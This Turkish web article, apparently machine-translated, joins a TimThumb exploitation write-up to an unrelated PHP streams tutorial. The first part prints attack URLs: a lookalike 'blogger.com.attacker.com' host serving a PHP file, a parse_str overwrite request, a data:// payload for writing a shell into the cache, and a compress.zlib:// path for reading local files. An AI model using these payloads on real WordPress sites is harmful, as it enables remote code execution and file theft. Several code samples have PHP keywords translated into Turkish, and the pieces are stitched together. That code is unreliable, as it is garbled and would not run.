TimThumb, birçok WordPress temasında ve eklentisinde kullanılan popüler bir görüntü işleme komut dosyasıdır. Ağustos 2011'de, TimThumb v 1.32 betiğinde, saldırılan sunucuya güvenilir ana bilgisayarlardan görüntüler yerine PHP koduyla dosya yüklenmesine izin veren kritik bir güvenlik açığı bulundu. Neredeyse bir gecede, kamuya açık alanda bu güvenlik açığından yararlanmanın ayrıntılarını veren bir danışma belgesi çıktı.

Güvenlik açığının özü, komut dosyasının URL'yi, görüntüleri indirmenin mümkün olduğu güvenilir ana bilgisayarlar listesiyle yanlış olarak kontrol etmesiydi. Örneğin, güvenilir ana bilgisayar blogger.com tarafından filtreleri atlamak için, blogger.com.attacker.com gibi güvenilir bir ana bilgisayarın URL'sini içeren dördüncü düzey bir etki alanının kaydedilmesi ve bu etki alanından dosya indirilmesi önerildi.

http://www.target.com/timthumb.php?src=http://blogger.com.attacker.com/pocfile.php

Bu şekilde, 1.32 sürümüne (revizyon 142) kadar güvenlik açığından yararlanmak mümkün oldu. Ancak daha yeni sürümler de savunmasızdı. 1.34 sürümünde (revizyon 145) resimlerin nasıl yüklendiğini düşünün:

fonksiyon check_external ($src) ( ....................... $dosyaadı = "harici_" .md5 ($src); $yerel_dosyayolu = DIRECTORY_CACHE . "/" .$filename;if (!file_exists ($local_filepath)) ( if(strpos(strtolower($src),"http://")!==false|| strpos(strtolower($src),"https:// ")!==yanlış)( if (!validate_url ($src)) display_error ("geçersiz url"); $url_info = parse_url ($src); ................ ...... if($url_info["host"]=="www.youtube.com" || $url_info["host"] == "youtube.com") ( parse_str ($url_info["query" ]); ...................... if (function_exists("curl_init")) ( ....... ....... $fh = fopen($local_filepath, "w"); $ch = curl_init($src); .............. ....... ......... curl_setopt($ch, CURLOPT_URL, $src); ...................... curl_setopt ($ch, CURLOPT_FILE, $ fh); curl_setopt ($ch, CURLOPT_WRITEFUNCTION, "curl_write"); .............. ........... $file_infos = getimagesize ($local_filepath); eğer (boş ($file_infos["mime"]) || !preg_match ("/jpg| jpeg|gif|png/i", $file_infos["mime"])) ( bağlantıyı kaldır ($local_filepath); touch($local_filepath); ......................

check_external işlevini tasarlarken birkaç mantıksal hata yapıldığını görmek kolaydır:

  1. Kontrollerin çoğunu gerçekleştirdikten sonra, filtrelenmemiş kullanıcı verileri parse_str işlevine girer. Böylece, önceden kontrol edilen değişkenleri geçersiz kılmak mümkündür: $url_info['host'], $src, $local_filepath. Bu nedenle, herhangi bir sunucudan dosya indirmek mümkündür.
  2. Dosya sunucuya yüklendikten sonra getimagesize bazında dosyanın resim olup olmadığını kontrol eder. Kontrol başarısız olursa, dosya silinir. Ancak $local_filepath değişkenini etkilemek mümkün olduğundan, yerel dosyaya php://filter, kompres.zlib:// sarmalayıcıları kullanılarak erişilebilir. Ve bu durumda, bağlantıyı kaldırma işlevi dosyayı silemez.

Biraz araştırdıktan sonra, dosyaları indirmek için bir istismar yazdım. İsteğe bağlı bir adla ve isteğe bağlı içerikle, sistemdeki isteğe bağlı bir yere.

Src=http://www.youtube.com/?local_filepath=php://filter/resource%3D./cache/test.php&url_info=img.youtube.com&src=http://site.com/thumb.txt

1.x dalı, güvenlik açıkları da bulunan 149. revizyonla sona ermektedir. Bu revizyonda, parse_str işlevi zaten kaldırılmıştır ve bu nedenle değişkenlerin üzerine yazmak mümkün değildir. Ancak bir URL'nin geçerliliğini kontrol eden filtreler, yalnızca eşleşen alt dizelerin $src dizesinde görünüp görünmediğini kontrol eder. Bu durumda, saldırıya uğrayan sunucuda curl_init işlevi mevcut değilse, dosyalar file_get_contents/file_put_contents kullanılarak indirilir. Bu işlevlerin curl_init'ten farklı olarak PHP'de bulunan tüm sarmalayıcıları desteklediğine dikkat etmek önemlidir.

If(!$img = file_get_contents($src)) ( display_error (" . $src . "için uzak dosyaya erişilemiyor. Dosya izinlerinin kısıtlanmış olması muhtemeldir"); ) if(file_put_contents($local_filepath, $img) == YANLIŞ) ( display_error("geçici dosya yazma hatası"); )

Böylece, data:// sarmalayıcısını kullanarak, tüm filtreleri atlayabilir ve önbellek dizininde isteğe bağlı içeriğe sahip bir dosya oluşturabilirsiniz:

Data://img.youtube.com/e;charset=http://w?var=;base64,SSBsb3ZlIFBIUAo

Veya yerel bir dosyayı önbelleğe kopyalamak için kompres.zlib:// sarmalayıcısını kullanın:

Compress.zlib://youtube.com/../http://?/../../path/to/local/file

Avantajı, önbellekteki dosyalara doğrudan erişilebilmesi ve bunun sonucunda veri sarmalayıcı kullanılarak kabuk yazma yoluyla RCE ile sonuçlanması ve ayrıca compres.zlib kullanılarak yerel dosyaların içeriğinin alınmasıdır.

Sonuç yerine

Açıkçası, PHP'de yerleşik olan sarmalayıcılar, Dosya Manipülasyonu güvenlik açıklarından yararlanmak için harika fırsatlar sunar. Ancak aynı zamanda, file_exists, is_file, dosya boyutu işlevlerine dayanan en basit kontrollerin bile sarmalayıcıların kullanılmasına izin vermeyeceğine dikkat edilmelidir. Ayrıca, Suhosin yaması yüklendiğinde, allow_url_include yönergesi On olarak ayarlansa bile, varsayılan olarak include içindeki sarmalayıcıları kullanmak mümkün değildir. Bu konuda sarmalayıcı kullanma konusunu kapatmıyorum ve bir sonraki yazıda popüler web motorlarındaki açıklardan yararlanma örneklerini kullanarak php://filter sarmalayıcının yeteneklerinden bahsedeceğim. Bizi izlemeye devam edin!

Programlamada sürekli olarak çeşitli kaynaklarla çalışmanız gerekir: dosyalar, soketler, http bağlantıları. Ve hepsinin, genellikle birbiriyle uyumsuz olan bir tür erişim arabirimi vardır. Bu nedenle, bu tutarsızlıkları ortadan kaldırmak ve çalışmayı çeşitli veri kaynaklarıyla birleştirmek için, PHP 4.3 icat edildi PHP Akışları - akışlar.

Rağmen PHP 4.3 uzun zaman önce ortaya çıktı, birçok PHP programcıları hakkında çok az fikrin var PHP'deki akışlar ve kullanmaya devam CURL her yerde olmasına rağmen PHP bunun için formda daha uygun bir alternatif var Akış İçeriği.

Aşağıdaki akış türleri mevcuttur: PHP:

  • Sabit sürücüdeki dosya;
  • HTTP bağlantısı bir web sitesi ile;
  • Birleştirmek UDP sunucu ile
  • sıkıştırılmış dosya;
  • Dosya * .mp3.

Tüm bu kaynakların ortak noktası nedir? Hepsi okunabilir ve yazılabilir, yani. hepsi okunabilir ve yazılabilir. Kuvvet PHP akışları mesele şu ki, tüm bu kaynaklara aynı işlev setini kullanarak erişebilirsiniz. Bu çok uygun. Ayrıca, ihtiyaç duyulursa, kendi iş parçacığı işleyici uygulamanızı yazabilirsiniz. "akış sarmalayıcı". Okuma ve yazmanın yanı sıra, PHP'deki akışlar ayrıca yeniden adlandırma ve silme gibi diğer işlemleri gerçekleştirmenize de olanak tanır.

Programlama açık PHP, Akıntılarla zaten tanıştınız, ancak tahmin etmemiş olabilirsiniz. Böylece, akışlarla çalışan işlevler şunlardır: fopen(), file_get_contents(), dosya() vb. Yani, aslında, tüm bu zaman boyunca zaten tamamen şeffaf bir şekilde dosya akışlarını kullanıyorsunuz.

Başka bir akış türüyle çalışmak için protokolünü belirtmeniz gerekir. (sarmalayıcı) Aşağıdaki şekilde: sarmalayıcı://some_stream_resource, nerede sarıcı://- bu, örneğin http://, dosya://, ftp://, zip:// vb. ve bazı_stream_resource - URI, neyi açmak istediğinizi tanımlar. URI formatta herhangi bir kısıtlama getirmez. Örnekler:

  • http://website/php-stream-introduction.html
  • file://C:/Projeler/rostov-on-don.jpg
  • ftp://kullanıcı: [e-posta korumalı]/pub/file.txt
  • mpeg://dosya:///müzik/şarkı.mp3
  • data://text/plain;base64,SSBsb3ZlIFBIUAo=

Ancak, bazı kabukların desteği ayarlarınıza bağlı olduğundan, tüm protokollerin ve işleyicilerin sizin için çalışmayabileceğini lütfen unutmayın. Bu nedenle, hangi protokollerin desteklendiğini öğrenmek için aşağıdaki betiği çalıştırmanız gerekir:

// kayıtlı soket aktarımlarının listesi
print_r(stream_get_transports());

// kayıtlı iş parçacıklarının listesi (işleyiciler)
print_r(stream_get_wrappers());

// kayıtlı filtrelerin listesi
print_r(stream_get_filters();

PHP Akış Bağlamları

Genellikle bir http isteği için ek parametreler belirtmeye ihtiyaç vardır. Akış bağlamları, ek seçenekler belirlemenize izin vererek bu sorunu çözer. İş parçacığı oluşturmayı destekleyen birçok işlevin isteğe bağlı bir iş parçacığı bağlam parametresi vardır. fonksiyona bakalım file_get_contents():

String file_get_contents(string $dosyaadı [, int $flags = 0 [, kaynak $bağlam [, int $offset = -1 [, int $makslen = -1]]]])

Gördüğünüz gibi, thread bağlamı üçüncü parametre olarak iletilir. Bağlamlar, işlev kullanılarak oluşturulur stream_context_create() bir dizi alan ve bir bağlam kaynağı döndüren .

$seçenekler = dizi(
"http" => dizi(
"yöntem" => "GET",
"header" => "Dil kabul: tr\r\n".
"Çerez: foo = bar\r\n"
);

$bağlam = stream_context_create($seçenekler);

// Bunu file_get_contents ile kullanmak ...
echo file_get_contents("http://www.example.com/", 0, $bağlam);

Yani bugün ne olduğunu öğrendik PHP'de iş parçacığı ve iş parçacığı bağlamları, kullanım örneklerine baktık ve aşağıdaki makalelerde akış meta verileri hakkında konuşacağız ve kendi işleyicimizi oluşturacağız.